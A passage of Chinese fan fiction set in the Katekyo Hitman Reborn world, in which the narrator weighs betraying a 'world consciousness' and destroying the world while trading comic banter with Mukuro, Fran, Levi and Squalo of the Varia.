中途我可以放几个指环给7^3石板安抚祂,相当于给世界意识画饼,吊着祂让祂给我加持幸运,最后反手给祂一巴掌。 理论来说,完全可行。 越想越觉得可行。 而且,对付抽象世界意识,似乎也只能用这种搞抽象的手段。 问题在于,我真的要开始主动动手杀人、毁灭世界吗? 就算能找到无数“大义”的借口,但…… 身旁的六道骸还在重组世界观,这一整个行程的“幸运”和“巧合”的含量太高,他已经陷入了深深的自我怀疑。 我很懂他的感觉,这就像是努力奋发图强,最后发现成功的关键竟然是掷硬币一样滑稽。 价值观遭受严重冲击,他甚至在吐魂了。 有人能想象吗,六道骸竟然到了吐魂的地步。 “回神、回神。”我拍了拍六道骸的肩膀,他还得帮我制造幻影痕迹来转移密鲁菲奥雷家族的注意力,这个时候他可不能倒下。 他的身体还扭曲了一瞬——我身边的这个他是幻术分|身,当他的意志不坚定时,自然会出现这种情况。 虽然我在是否要毁灭世界这个问题上还有疑虑,但该有的行动却不能因此而停滞,“你好徒弟的车什么时候会来?” “很快。”他说道,“我的身体在监狱里泡了太久,短时间内不能长线移动,所以据点离这里并不远。” 毕竟在营养液里泡了十年,就算是再新鲜的凤梨,也该泡发了。 恢复需要时间。 我隐晦地打量着旁边的六道骸,不是实体的他此时承载着不是实体的世界意识,等量替换来思考,想要杀死眼前的幻术分|身,首先要杀死的自然就是六道骸本体。 果然,还是只有毁灭世界一条路吗? 我抿着嘴,不论做出什么决定,此刻都要稳住世界意识,我于是继续说些世界意识想听的话。 比如絮絮叨叨说一些下一步计划:要搜集剩下的雾、雨两个属性的玛雷指环,同时还得想办法带走7^3石板的本体。 “你不是说,可以在梦里接触到石板吗?既然如此,何必冒着风险再去寻找实体?” 我稍微斟酌了一下,因为我并不非常确定,世界意识是否希望7^3石板被找到。 但最终我还是坚持了自己的试探,开口道:“石板有自己意识,不代表它拥有行动力。一直让它在白兰的控制下就太危险了,即使白兰暂时没有精力去关注被收藏起来的石板,但我们总不能把一切赌在白兰的主动权上。如果7^3石板不希望我找到它,就不会链接我的梦境了,你说对吧,六道骸。” 你说对吧,世界意识。 7^3石板得在我的眼皮子底下,我才能安心。 我思考着这块石板的真正价值,堂堂八兆亿卷王希望石板被海、贝、虹三个元素填满的原因究竟为何。 总不能因为7^3石板真的是世界意识的实体化体现吧? 如果是的话,那就简单了,把石板毁掉,省得我还得在毁灭世界和不毁灭之间犹豫挣扎。 但如果不是,如果我判断错了,那毁掉石板就很可能会引起世界意识的激烈敌对。 我也就无法忽悠八兆亿卷王——在这种情况下,一旦转化到敌对立场,再想毁灭世界可就难了。 所以对待7^3石板也要慎重,验证其和世界意识之间的关系是首要任务。 我第一步的试探,就是看卷王意识对7^3石板的态度。若是我取走石板的过程也如出入复仇者监狱一般顺利,那说明石板和卷王意识之间,大概率没有决定卷王生死的关联;但如果祂只是利用梦境回收指环,而阻挠我获得实体石板的话,那就说明石板和卷王意识之间存在极深的联络,这种联络触发了世界意识的自我保护机制。 自我保护是八兆亿卷王主观觉醒的起点,所以自我保护的功能一定是世界意识主观能够存在的核心。 很难形容我此刻的心情,毁灭世界的想法萦绕在我的大脑里。我的自我保护功能也在告诫我的理智,如果毁灭世界是一个必然手段,那我就得尽快剥离自己对这个世界的情感。 尤其是像现在这样,和弗兰抢青蛙头的行为绝对不应该存在的! 但!是! 谁能拒绝这么大的一个青蛙头呢? 弗兰瘦弱的肩膀究竟是怎么扛起这么一个又大又沉玩偶头的? 而且我着实按捺不住自己的好奇心,他为什么一直要带着玩偶头——即使不是青蛙,也有苹果作为后备玩偶头。 洗澡睡觉可以脱衣服,但头套不能脱,这是什么必要的人设吗? 难道说……他年纪轻轻就已经开始秃头谢顶了? 想知道。 哪怕之后毁灭世界,我也想先知道真相。 “啊——师父,救命,me的本体就要被抢走了。”弗兰誓死守卫青蛙头套,不带一丝感情地向六道骸求救,“me的头要掉了,师父,师父!难道你已经虚弱到连床都走不下来了吗,啊——弱鸡师父!” “歘!” 一声破空,三叉戟捅到了青蛙头里。 弗兰的眼角泛起一丝鳄鱼的眼泪,“好痛,头被捅穿了。” 三叉戟尖擦着我的脸侧而过,幸好我反应快,不然连我的头也一并被捅穿了。 “喂,你故意的吧,六道骸!”我拨弄了一下三个尖尖,锋利得很,“你想杀了我吗?” 仍然存在的幻术分|身六道骸抽回三叉戟,不知是在认真,还只是在调侃,“哦呀,难道‘幸运’没有办法帮你解决掉这个问题吗?” 他果然还在纠结这个问题。 我这手一松,弗兰马上就挣脱开来,抱着青蛙头鼠窜,三段跳上床,把六道骸的本体举了起来,挡在面前当盾,“有什么仇怨就冲着me的师父去吧,me只是个柔弱无助的小男孩而已。” 说话间,六道骸·本体版身上那薄薄的一层床单顺势滑落,落在了地上,露出了他明显肌肉萎缩、尚未复健的身体。 六道骸·幻术分|身版握紧了手中的三叉戟,身上的黑泥肉眼可见的溢出,地面上他的影子都变成了某种不可名状之物,包围到了弗兰的身边,阴暗爬行。 一阵经典的“Kufufufu”地从影子里传来,但凡把灯光调暗一点,这都得是个惊悚片片场。 弗兰,真不愧是六道骸的好大徒。 轻易就做到了别人做不到的事。 我上下打量着裸骸,吹了声口哨拱火。 “哈啊?——!”比我的口哨声更大的,是背后传来的惊叫,“你们几个男人,在我的床上搞什么奇形怪状的Play,太辣眼睛了!” 是女孩子的声音! 我瞳孔一震,应激般地一个大跳,扬起床单把六道骸本体和弗兰怼在一起,按到了床铺之中。 文明待人,从身边的小事做起。 “SOS、SOS——师父的头发好多年没洗过了,me要被熏死了!” 弗兰断断续续的声音,闷在六道骸的本体身下。 “闭嘴,弗兰,马上就杀了你。”六道骸·幻术分|身版几乎要维持不住自己的存在,甚至比被“幸运”冲击的时候,还要动摇。 或许,这就是压倒骆驼的最后一根稻草。 “pu!” 分|身体消失了。 “一边说着要杀了me,一边却消失了,果然幻术师的精髓就是虚张声势吗,学到了学到了。” 即使被我用六道骸压着,弗兰也完全不愿意闭嘴。 而他能开口的唯一原因,就是他的巨大头套给他撑起了一个嘴巴能动的空间。 原来妙用竟然在此。 “……我不会再要这张床了,一会儿就丢掉,马上丢掉!”女孩儿把定食重重地砸在桌子上,严正谴责我们的行为,“还有,不要对尚未恢复的病人做这种事,会加重我的工作负担,不是你们在负责复健工作就可以瞎胡闹了吗,可恶。” 差点忘记介绍了,这位就是刚才开车把我接过来的女孩,M.M。我依稀记得,她曾经是黑曜中学副本的一员。 “还有人在吗,师父正在谋杀me,师父的排骨在杀人啊,还有王法吗,请帮忙报警,help!” 弗兰,你要不要听听你自己在说什么? 你是黑手党,而且还是暗杀队的成员,你还想要报警求助。 警察来干什么,来逮捕你吗? 还是来逮捕随时准备毁灭世界的我? 第123章 第一次做毁灭世界的大反派, 好像还有点小激动。 好吧,好像也不能算是第一次,但想要达成全灭结局的预期绝对是第一次。 不管最后要不要背刺, 要背刺哪一方, 现在的首要任务都是把主角团带回来。时间线坍塌对我没好处,那原本也是我需要预防的危险事件之一。 在我没有下定决心之前,就是出现哪个问题, 先处理哪个问题。 在和独立暗杀部队瓦利亚汇合之前,我又做了一次和7^3石板交互的梦,八兆亿卷王真是迫不及待想要把刚刚到我手里,都还没焐热的雷之玛雷指环收入囊中。 如此急切——八兆亿个世界都卷出来了, 但是却不愿意多等一个晚上。 可疑, 非常可疑。 我觉得,7^3石板和卷王之间有联系这件事,已经百分百成定局,关键在于他们之间的联系能到什么程度。 比如毁掉石板能不能成为一条捷径。 不过,既然八兆亿卷王都在争取时间, 尽可能地加快脚步进程, 那我也不能含糊,被迫开始内卷的生活。 我现在真是把八兆亿卷王当作高考阅读理解认真对待, 早上多打一个喷嚏我都会认真考虑是不是世界意识影响力传递出的某种信息。 有时候我都怀疑自己是不是在和空气斗智斗勇, 但世界意识实在是比空气还难以捉摸的东西。 再这样下去,我的发际线危险。 果然, “幸运”有时候也是一种负担, 尤其是当我需要揣摩出题人背后意图的时候。 顺便一提, 虽然世界意识的影响带来的“幸运”好用到离谱, 但我依然无法凭借自己的觉悟点着火焰。 这充分地说明了1%的灵感有时候真比99%的努力还重要。 也不全都是坏消息, 至少无法点着火焰也说明,八兆亿卷王的影响力可以影响这个世界内的一切,包括我在这个世界中产生的梦境,我手中的戒指,却始终无法直接影响到我本身。 祂无法推动我的觉悟,只能让玛雷指环反向适应我带来的「书」的力量。 但我依然暗暗把我能想到的火焰天才们都diss了一次。这种晚上在梦里和八兆亿卷王明争暗斗,白天干活和空气斗智斗勇、还得忍耐瓦利亚的人均奇葩,我没有阴暗爬行已经是非常有素质的人了。 瓦利亚,一个信奉只要杀光所有人就可以达到暗杀效果的独立暗杀部队——他们的工作环境其实完全可以把“暗杀”两个字去掉。 如果说主角团代表的彭格列的核心和意志,那么他们领导的就是彭格列实际意义上的大部队,欧洲主战场所投入的战力数量,远非并盛能够相提并论。 主角团对白花花家族,密鲁菲奥雷部队对彭格列战斗部队,几乎是完美的王对王、兵对兵的局面。尤其是现在,双方的“王”都遭受到了一些不可抗力的桎梏,谁也无法依靠偷家釜底抽薪,所有的胜负就聚焦到了正面战场上。 “还真让你猜中了,密鲁菲奥雷正面战场几乎全面收缩战线。” 说话的是列维·亚·坦,瓦利亚看似正常的成员之一,雷之守护者,一个打着唇环的中年大叔,对XANXUS有着极度忠诚和不可忽视的抖M属性。 紧身皮裤在他身上,让人有些生理不适,我白了他一眼,“喂,不是‘猜’,是判断。收缩战线只是敌人势弱的第一步,尤尼的跳反本来就让密鲁菲奥雷家族走在了分裂边缘,基里内奥罗家族的忠诚并没有奉献给白兰本人,尤尼的离开必然会让黑魔咒部队脱离白兰的指挥系统。正面战场的假六吊花死得不剩几个了,入江正一这个独苗苗还在敌对阵营;核心战场的真六吊花又废了一半,白兰被我天降正义,现在也是自顾不暇,根本无力像原先那样,完全掌控上下的势力和局面。” 当然,并不是说真六吊花完全失去了战力,就像毁掉彭格列指环的彭格列家族一样,足量的备用指环依然足够支撑常规战斗。 但,没有任何一种常规力量可以和7^3的一角相提并论,战力下降是可以预见的必然。再加上雾的狼毒在选择战里就被纲吉打得再起不能,石榴又被关在并盛,白花花现在大概正面临着八兆亿个世界攻略都没有出现过的窘境。 再一次感叹,世界意识真是个可怕的东西。 仅仅是影响力,就足以通过种种因素复杂叠加,让一个能跨越平行时空的大BOSS,在短时间内土崩瓦解。 白花花,被世界意识玩弄于股掌之中。 某种意义上,也算是反噬。 谁让各个白花花在平行世界的“海面”上交流太多,他的意识在世界表层流动的时间太长,穿过世界屏障的次数太多,甚至激起了世界意识带有主观性的自我防卫。那么反过来,八兆亿卷王也自然对他最熟悉,最知道该如何对付他。 怎么不算自食其果呢? 我继续说道:“复仇者监狱猝不及防的反制又让密鲁菲奥雷他们腹背受敌——他们当然没有预料到复仇者们的攻击,毕竟这件事实际上是密鲁菲奥雷给六道骸的出狱背了锅,要在匆忙布置应对复仇者的防线,就必须要控制正在扩张的战场。在这种现状下,转攻为守难道是什么需要猜的事情吗?” 我用关爱智障的眼神看着列维,“脑子是个好东西,真希望人人都有。” 这么直白的嘲讽,他竟然也没有马上反应过来。 真不是我有意贬低,他真的一直处在慢半拍的水平线上——这句话不是我说的,而是贝尔菲戈尔的原话。 就是那个王子。 字面意义上的王子,他真的有一个宝贝得要命的王冠。 他保护王冠,就像弗兰保护自己的青蛙头一样。 “你,刚刚是不是在嘲讽我?!” 哦,亲爱的列维同学终于在贝尔锲而不舍的嘲笑声中,反应过来了——没有弗兰折磨的贝尔,嘲讽程度呈直线上升。 早知道就应该撺掇斯库瓦罗安排贝尔和弗兰一起行动。 但那样的话,行动小队就变成了六道骸、弗兰加贝尔菲戈尔,三人行必有一灯泡,他们组队的后果几乎是可以预见的可怕。 算了,还不如让贝尔在基地内搞事,反正他折腾的也不是我,列维承受了一切。 “不,我是在夸你非常有脑子。”我真诚地微笑。 然后……列维就信了。 他如此表现,我都不好意思再欺负他了。 列维没有多纠结我的话,而是一门心思为瓦利亚和彭格列的未来奋斗,“既然如此,那我们应该马上出击、乘胜追击,杀密鲁菲奥雷一个措手不及。” 不,绝对不行。 如果毁灭世界是必然选择,那白花花就必须保有反击的能力。我不打算让当前的局面失去平衡——至少不能让天平偏颇太过。 于是果断摇头,“你知不知道这个世界上有一种说法叫作穷寇莫追。” “瓦利亚信奉的原则是,趁你病要你命。”列维挺起胸膛。 ……毫不意外。 列维的话得到了贝尔的强烈赞同,贝尔甚至恨不得放下偏见,和列维组队出击。 用他的话来说就是——只要能不和路斯利亚同处一个空间,就算队友是列维他都认了。 我揉了揉额头,晴属性拥有者带有厚重滤镜的我并不觉得路斯利亚有多难相处。 别误会,路斯利亚也绝对不正常,兰花指、拳击手和红鸡冠、绿刘海头,这样的形容放在同一个人身上非常炸裂。 放到欧美市场那可是能在任何片场畅行无阻的标准政治正确人设。 但在瓦利亚中,他竟然是最接近正常人的那一个。 “别,毕竟是7^3的一角,万一白兰真的死了,你们的纲吉BOSS和守护者家族可能就真的要徘徊在未知的时间线里了。”我试图陈明利害。 但在列维的耳朵里,我说的话大概是“阿巴阿巴,BOSS,巴拉巴拉”。他马上拍着胸脯,朗声大叫,“我有且仅有一个BOSS,就是XANXUS大人,我誓死追随XANXUS大人!” 是是是,全世界都知道你是只忠犬。 ……难搞。 “说起你的BOSS,他好像闹着要吃新鲜的牛肋排,但是仓库里的存货消耗殆尽。”我用力拍着列维的肩膀,颇有江山托付于卿的郑重,“时刻谨记为BOSS排忧解难是左右手的职责,我确信我听到了XANXUS的话,最先帮他找来新鲜牛肋排的人将会被加封为他的第一副手。” 列维丝毫没有怀疑我的话,或者说,他的耳朵有选择性地捕捉到了关键词“左右手”、“第一副手”、“加封”。几乎肉眼可见,他背后燃起了熊熊烈火。 这才是觉悟! 列维,他才是真正的天才。 等到斯库瓦罗完成了投喂XANXUS的重要任务、重返议事厅的时候,列维已经跑出去二里地,追也追不回来了。 我亲眼见证了斯库瓦罗额头青筋暴起的名场面,不过大概是有和XANXUS吵架的“珠玉在前”,斯库瓦罗按捺住了脾气。 我赶紧转移话题,“石榴的指环研究如何了,入江正一和斯帕纳还有强尼二从上面找到突破口了吗?” “完全没有!不过你的提议带来不少新思路,7^3绝对是时空秘密的钥匙,只要密鲁菲奥雷腾不出手来,迟早会有进展——他们是这样说的。” 我知道,想要通过指环研究出时空规则几乎是不可能,但提议确实是我故意说的。我需要让八兆亿卷王知道,我不取走岚之指环有正当原因,好让祂不生警惕。 当然,既然是“正当原因”,那便自然也有一套与之相匹配的、说得过去的理论体系。 “利用玛雷指环、十年炮筒再加上拉尔的不完整彩虹之子奶嘴,分别替代海、贝、虹三个时空基准点,应该可以在一定程度上模拟出7^3的效果。但模拟的效果终究没有切实的7^3石板有效。”我摩挲着玛雷指环上的翅膀,大空指环仍然在我手上。 毕竟这个世界的战力体系就是火焰,我总得保证自己手上有一个指环可用,我需要它来帮我把「书」的原始力量转化为可以使用的火焰。 “这就是下一个行动目标了。”斯库瓦罗的瞳孔中隐隐闪烁着兴奋,这个行动目标就是他从并盛赶回欧洲战场的主要原因。 当然还有一部分客观原因是六道骸和弗兰极端成功的幻术,密鲁菲奥雷的情报网大概确信了我在欧洲的足迹,重心就收回了欧洲。现在的整个并盛几乎找不出几个敌人,用斯库瓦罗自己的话来说就是——真·鸟不拉屎的地方,他要被安静逼疯了。 修复了安全漏洞的基地里,有迪诺和痊愈的拉尔这两个战力就足够了,他便乘坐鲨鱼专列,返回了瓦利亚。 “只要找到了石板的位置,就马上闯进去,抢出来,然后彻底捣毁密鲁菲奥雷!” 斯库瓦罗的大嗓门震耳欲聋。 我果然不应该期待瓦利亚的行动方针。 “重点就是,石板的位置。”我不再纠结“如何抢走石板”这一步,“有什么新情报吗?” “根据内线传来的消息,石板一直放在密鲁菲奥雷的统筹会议室里,其目的就是为了让所有人都能看到,白兰将之视为权力的象征。” 我深切怀疑这个“内线”就是黑魔咒部队AKA原·基里内奥罗家族的某些成员。 毕竟和纲吉他们一起困在时间线里的,还有尤尼酱,他们的焦虑不亚于正一的胃病。 “不过尤尼从石板上拿回彩虹之子的奶嘴之后,那个会议室就再也没有正式开启过。所以——” “所以谁也不能保证石板是否还在其中。”我接上了斯库瓦罗的话。 “这样的话,只要进去看看不就都知道了吗?”贝尔“xixixi”地露出了标准的鲨鱼笑,牙齿明亮得像是在拍牙膏广告,“前线的战报,密鲁菲奥雷收缩的战线中心并不在本部基地,而是一座孤岛——也就是说,本部空虚。” 我马上反应过来,那应该就是天降正义的地方。 白花花摸不准我的位置,又需要快速修生养息,估计也一直没有离开那里,那里也自然成为了密鲁菲奥雷的战术中心。 白花花会沦落至此,是个有世界意识参与的“不幸”的意外,他自己当然不可能提前准备。这么想的话,7^3石板说不定真就在那个基地内。 如此一来,瓦利亚风格的行动模式顺理成章,确实成了一个极好的手段。将顺利与不顺利完全交给八兆亿卷王的影响力,比起石板本身,祂影响力重心暗含的意志指向才更关键。 第124章 我和斯库瓦罗准备出门的时候, 撞上了返程的列维。 他真的背回来一头活牛回来。 用“背”这个词或许不够准确,他左右手分别抓着牛的前后蹄,看上去比他还壮的牛就这样水灵灵地挂在他脖颈上——多么强大的颈椎, 竟然能承受住一头牛的压力。 没有多余的手, 列维就抬腿,用力一脚踹飞了门,飞出去的门板像是长了眼睛一样, 精准地冲向了他成为XANXUS左右手路上最大的阻碍,斯库瓦罗。 也幸好那是斯库瓦罗,反应极快,都不用抬头就是一刀。 粉碎的门板后, 是列维和牛叠在一起的画面。他挺着自己坚强的颈椎, 强硬地挤进房内,撞裂了新修的实木门框。 哈!修门的时候我就说了,以瓦利亚的搞事强度,实木家具根本顶不住,就应该用钛合金, 多少还能多用一两天。 列维像个胜利者似的, 一脚踩在桌子上,将整头牛托举过头顶, 大声宣扬道:“我为BOSS寻来了最新鲜的牛肋排!” 新鲜, 真的非常新鲜。 然后呢,列维难道打算现场上演庖丁解牛吗? 他解得明白吗? 在瓦利亚的大家庭里, 真正拥有精准“解牛”技能的, 应该只有暴娇人齐斯库瓦罗吧……嗯, 或许还可以加上一个贝尔, 但他的小刀属实不适合这么大的一头牛。 方圆十数公里都是彭格列欧洲临时指挥部的战斗基地, 再往外也全是打火焰版群架的痕迹,用寸草不生都算是温和的形容——列维究竟是从哪里搞来的活牛? 这难道就是传说中的忠犬厨力? 我大受震惊,但毫不怜惜。我开口道:“事实上,XANXUS已经吃完饭了。非常遗憾,你慢你们大嫂——咳,我是说副队长斯库瓦罗先生一步。抱歉,左右手没你的份儿了。” 此时,一个列维轻轻地碎掉了。 他的手一松,牛就这样重重地砸在了地面上。 不知是不是列维泄露的雷属性刺激到了牛,它一落地就激烈地跳动,开始在大厅内横冲直撞,有力的牛角顶着列维的屁股,将他翻上了天,俨然一副不战不休的状态。 进入瓦里安,那就是搞事牛了! 列维竟然也真的如临大敌,甚至掏出了匣兵器燃起了火焰,开始和牛牛正面对战。他开口放狠话,比如“作为BOSS的食物,就要有作为BOSS食物的觉悟”“进入这里,就要学会瓦利亚的规矩”什么的,俨然一副要教育牛牛的样子。 列维,一个轻易就和自己抓回来的食材无障碍交流的男人。 我不理解不尊重并且大受震撼。 我和斯库瓦罗对视了一眼,后者捂着脸,已经开始了一脚踩牛头,一手抓列维的大母亲式教育了。斯库瓦罗,不愧是瓦利亚的大嫂。 很有精神! 我在形同虚设的门外面,听着背后交织的惨叫和牛叫,直到列维大声保证会亲手把大门修好之后,斯库瓦罗才终于郑重地把照顾“混蛋BOSS”的工作移交给了列维。 后者感激涕零,当即表示赴汤蹈火、在所不辞。 斯库瓦罗轻松拿捏列维。 ……真是一场酣畅淋漓的告别仪式。 等不及再换衣服,斯库瓦罗就穿着带有一点点焦边的战斗装,和我一起组队出发——瓦利亚的行动力绝对不含一点水分,尤其是斯库瓦罗,他身上一点拖延症的影子都没有,做出行动决定不到三分钟,他就已经换好了战斗服装、更换了带有新型火焰凹槽的义肢,准备出发。 彼时,我准备用来煮螺蛳粉的水都没开。 6。 没能把鲨鱼快递送来的螺蛳粉吃到嘴,但我还是在临走之前把酸笋倒入了装满开水的锅里,并且打开了锅盖。 非常单纯的报复嗅觉灵敏的XANXUS,以示昨夜饭桌上对着牛排开枪,最后殃及我餐盘的抗议,以及后半夜贝尔摸进我房间试图刺杀我的报复。 哦对了,还有半夜不睡觉,面无表情站在镜子里面的惊悚弗兰,瓦利亚真是藏龙卧虎——可惜弗兰不在总部,不然我一定要在他的青蛙头上灌满螺蛳粉汤。 真是让人神经衰弱,这辈子都不想再住到瓦利亚的基地里了。 当然,既然是要硬闯密鲁菲奥雷的总部,自不会只有我和斯库瓦罗两个人——虽说白花花的转移让密鲁菲奥雷的力量中心也跟着转移到了另外的地方,但总部就是总部。 难道纲吉在并盛的生活让彭格列的欧洲战场更松懈了吗? 没有。 所以没错,我和斯库瓦罗确实是精英小队,将会乘坐他的鲨鱼特快穿过第勒尼安海,从海底绕开监视和防御,直奔密鲁菲奥雷的总部。其他的九支队伍将分别从海陆空三个不同的方向打草惊蛇,集中攻击密鲁菲奥雷的防御收缩点,让他们无暇顾及我和斯库瓦罗。 其中一些战术布置非常详细,但和我没有太大关系,我便没有细听、没有细想。 事实上,我巴不得战术布置得松懈一点。 比起和“人”有关的战术,我更希望仔细斟酌战场位置,这也是我坚定建议我和斯库瓦罗的二人精英小队一定要穿海的主要原因。 正所谓天有不测风云,比起有自主意识的人,环境这种世界的自然组成部分,应该是八兆亿卷王最容易影响和操纵的因素了——容易操作,就意味着能更直观地传达他的态度。 这是我坐在巨大雨属性鲨鱼后背时唯一的想法。 我有点忐忑。 或许是因为我自己都摸不清自己的想法,我甚至无法清晰地分辨此刻我自己的内心期望。 我到底是希望此行一路顺风,还是希望被风雨所阻呢? 两种不同的表现,直接关系着八兆亿卷王和7^3石板之间的关系,以及我的下一步行动;更进一步说,甚至是关系着世界的存留。 毁灭世界是大事,我有犹豫是必然。 百公里的单位听上去很大,但对于斯库瓦罗的大白鲨来说还真不算什么,漂浮、潜水两种状态灵活转换,我很快就第一次体验到了被鲨鱼含在嘴里、潜入深海的感觉,虽然预计只有短短的十到二十分钟,但这种感知却奇妙地被拉长,黑暗给了人无尽思考的时间。 比如一想到自己就在鲨鱼嘴里,我就背后发凉、寒毛直竖,奇妙的生活经历又增加了。 谈不上害怕,只是单纯地有些……担忧? 说实话,之前「荒霸吐」正面硬刚的时候、差点被宿傩大爷吞噬的时候,我都没有过这种感觉。 我能够摸到腿下柔软的舌头,背后坚硬的牙齿也异常清晰,镇静的火焰充盈全身,雨的特殊属性生理上降低了我的呼吸和心跳,尽可能延长了我和斯库瓦罗在这个氧气匮乏的鲨鱼身体中的可生存时间——或许正是被无限降低的呼吸和心跳,与我紧张的心情产生了错位,才导致我如此难受;又或是被一个活物吞在口中这个想法让我发毛。 不过,匣兵器真的能算作是一种活物吗? 作为一种匣兵器,鲨鱼当然没有称得上自我意识的东西,它的每一个行动都应该仰赖着斯库瓦罗的控制和指挥才对。 但当海底水波横生,水草交织的时候,斯库瓦罗正和我一样躲在鲨鱼嘴里,看不到外面的状况。 不知海路状况,自然就谈不上指挥。即使如此,鲨鱼依然保持着极快的速度在水中穿梭,精准地避开了阻碍,甚至预判了想来找麻烦的虎鲸,提前绕开了原定路线。 “我不明白,为什么你的鲨鱼还能擅自改动你定好的路线。”我在黑暗中询问,这是先前几次鲨鱼快递中没有出现过的情况。 当然,绕路本身并没有什么可置喙的,我和斯库瓦罗的目的是偷袭密鲁菲奥雷总部基地。 划重点,偷袭! 虽然这个词大多数情况下和瓦利亚独立暗·杀·部队并不挂钩,但每次计划的开始,他们都还是会象征性地,做一点低调努力。看得出来,斯库瓦罗对按照预定计划、尽可能稳定地执行,抱有一丝希望。 只是这些希望总是在开头就破灭。他生活在瓦利亚,所以“稳定”这个词早就离他远去了。 而我在意的也不是路线本身,走哪条路对我来说都无所谓,我在意的是匣兵器的自我意识。 我承认,我现在对这样无端产生的自主意识有点敏感过头了。但这也不能怪我,对手太可怕,我不得不拿出最大的专注来应对。 斯库瓦罗完全误解了我的重点,他开口,“密鲁菲奥雷肯定对近海区域进行过布防,谁也无法保证这里有什么陷阱,在上岸突袭之前,能避战斗、最后是避战。路线即使改变也不会耽误过多时间,在计划的弹性时间之内。” 或许是瓦利亚“活泼”的队内环境,培养了斯库瓦罗的耐心;也或许是黑暗的鲨鱼嘴里真的非常无聊,他很详细地附上了其他几个小队的行动,用来说明我们现在绕路的合理性。 “嗯……道理我都懂,我是在问,为什么鲨鱼可以智能转向,它只是匣兵器,对吧?兵器——他有自我意识吗?是自己产生的,还是设计出来的。”我的关注点从来不在绕路上。 虽然匣兵器可以有自己的性格,但本质上来讲,匣兵器——尤其是可以批量生产的匣兵器类型其实不应该拥有自我意识。 它们是作为兵器诞生的,从量产和战斗需求的角度来考虑,赋予他们足够的自主思考能力,不仅会拉高成本、提升科研难度,甚至还会给战斗带来更大的不确定性。 这种“不确定性”有时候是好的,但它就像是一个不完全听话的下属,也有可能随时展示自己的负面影响。 批量生产的战斗武器,首先要兼顾的就是稳定性,而非是战斗奇效。 顺便一提,之所以确定鲨鱼是量产类的匣兵器,是因为瓦利亚有专门的鲨鱼快递路线,甚至有专门的鲨鱼快递部门。 据说最初是为了满足瓦利亚BOSS的精致生活。 我有些在意,匣兵器自主判断原理,似乎在某种程度上,和世界意识的产生,有了微妙的重合。 “哈——?!”斯库瓦罗拉长的声音显示出他对我提问的强烈不解,“频繁的战斗和合作可以促成匣兵器的进化,这不是所有人都知道的事吗?你,完全没有用过匣兵器?” 还真没有。 “也就是说,所有的匣兵器都具有可进化的生物属性?” 斯库瓦罗大概是摇了摇头,因为他的长发抽到我的脸了,“不,兵器也确实是兵器。需要有足够强烈的火焰驱动匣兵器,长时间的配合和战斗磨炼才有可能会产生‘进化’——后勤那群人好像不称之为‘进化’,但我一直都这么叫了,道理能懂就行。” 他顿了一下,像是担心我不懂他口中的“道理”一样,接着补充道:“重点是使用者,同样类型的匣兵器,不同的人使用也会产生不同的效果。” 换而言之,匣兵器就像是一张白纸,它的状态取决于使用这张纸的主人。 我不由陷入深思。 其实,如果把世界意识想象成一个巨大的、无形的匣兵器,也没什么错,对吧? 那么,使用世界意识这张纸的,也就是将祂塑造成如今这般模样的人,对吧? 所以,世界意识这个巨大匣兵器的使用者,或者说,对标“使用者”的——不论是人还是东西,就是一切的根源,对吧? “没错。” 我知道斯库瓦罗是在回复我的上一句话,但我还是有种他肯定了我大脑中猜测的感觉。他继续说道,“所以,强大的匣兵器和主人通常有相似的性格。记着点,这也是战斗经验,匣兵器的弱点通常就隐藏在匣兵器主人的身上。” 别的不说,斯库瓦罗复杂的战斗经验,绝对是主角团任何一个人都很难与之匹敌的。哪怕是六道骸或是云雀恭弥也一样,就更别提我了。 环境决定经验,这是天赋也无法弥补的东西。 我隔着黑暗的环境和海底湿咸的味道,看向斯库瓦罗的位置,“那这样,要是你的鲨鱼一个青筋暴起,真的把我们嚼吧嚼吧咽了,怎么办?” 斯库瓦罗笑出了声,嘲笑的那种笑,“没想到你竟然在害怕这个?” “不是害怕是担忧,这是在鲨鱼嘴里的正常担忧。”我严正声明,我也是潜入过横滨附近海底的人,绝对没有什么深海恐惧。 没有!这只是我身为正常人的正常担忧而已。 毕竟,如果我没有记错的话,狱寺就时常被自己的匣兵器猫爪攻击,纲吉更是在第一次开匣的时候,差点被自己的匣兵器给干掉。 有在这样的反噬风险下,斯库瓦罗是怎么安心坐在鲨鱼嘴里的。 “不用害怕,就算是再怎么进化,它也是我的匣兵器。”斯库瓦罗的声音很冷静,“我的火焰支撑他的一切运行。等你自己使用过匣兵器就知道了,火焰决定了匣兵器的运行,这也是熟练操纵火焰是使用匣兵器先决条件的最主要原因。对于初学者来说,你只要记住匣兵器的身体里是你的火焰,如果它不听话,不论匣兵器外壳有多坚硬,你都可以从内部将其撕裂。那是你的火焰,不是匣兵器的火焰。” 俗称……背刺? 所谓伤害你的,永远是和你一体的。 啊——! 我脑内灵光一闪,突然扑向了斯库瓦罗,激动地抓住了他的肩膀。 再次声明,虽然这个匣兵器鲨鱼真的很大,在火焰的催生下,它真的比一般的鲨鱼大很多很多倍。 但是,鲨鱼嘴依然是一个狭窄的空间。 我毫无前摇的“猛虎下山”让斯库瓦罗猝不及防,躲无可躲。如果不是这个环境里只有我和他两个人,这一下扑过去,首先迎接我的一定就是斯库瓦罗的刀。 感谢瓦利亚给他培养出来的强大包容力。 斯库瓦罗,真正的瓦利亚大空。 黑暗中,他的眼睛瞪得老大,我能从他受惊的声音里,想象到他的表情。 “说得非常有道理,不愧是剑术百战大师、飘柔代言人、黑手党老大的小娇妻、瓦利亚唯一指定男妈妈——等等,路斯利亚算男妈妈吗?罢了,他不重要!重要的是你,听君一席话,胜读十年书,说得太有道理了!背刺永远的神,比破釜沉舟方便多了!” 斯库瓦罗的呼吸都是问号的样子。 “你在说什么胡话,这么害怕鲨鱼,几分钟就被逼疯了?” 我没打算解释,当然不能解释了。 全世界都是八兆亿卷王的眼线,我可不敢说胡话。 不相信卷王时刻关注着我吗? 别着急,祂的影响马上就来了。 原本还在和我斯库瓦罗突然身体一僵,刀锋的冷光亮了出来,骤然挺直的身体撞上了鲨鱼的上颚,“海水在翻滚,有什么东西来了,抓紧!” 比他的警告晚几秒,我也感受到了剧烈的冲击。 就像是被丢入了洗衣机里一样,鲨鱼开始不受控制地旋转。在大海的面前,再多的火焰、再大的生物都完全不够看,雨的镇静属性完全无法拖慢一分波涛汹涌。“咚”的一声,鲨鱼的腹部被什么东西狠撞了一下,我们很快就彻底偏离了预定路线。 这一下撞得狠不说,我甚至感觉鲨鱼的舌头好像都变烫了。 “太不走运了。”斯库瓦罗抱怨道。 运气? 我马上捕捉到了关键词,“你知道发生了什么?” 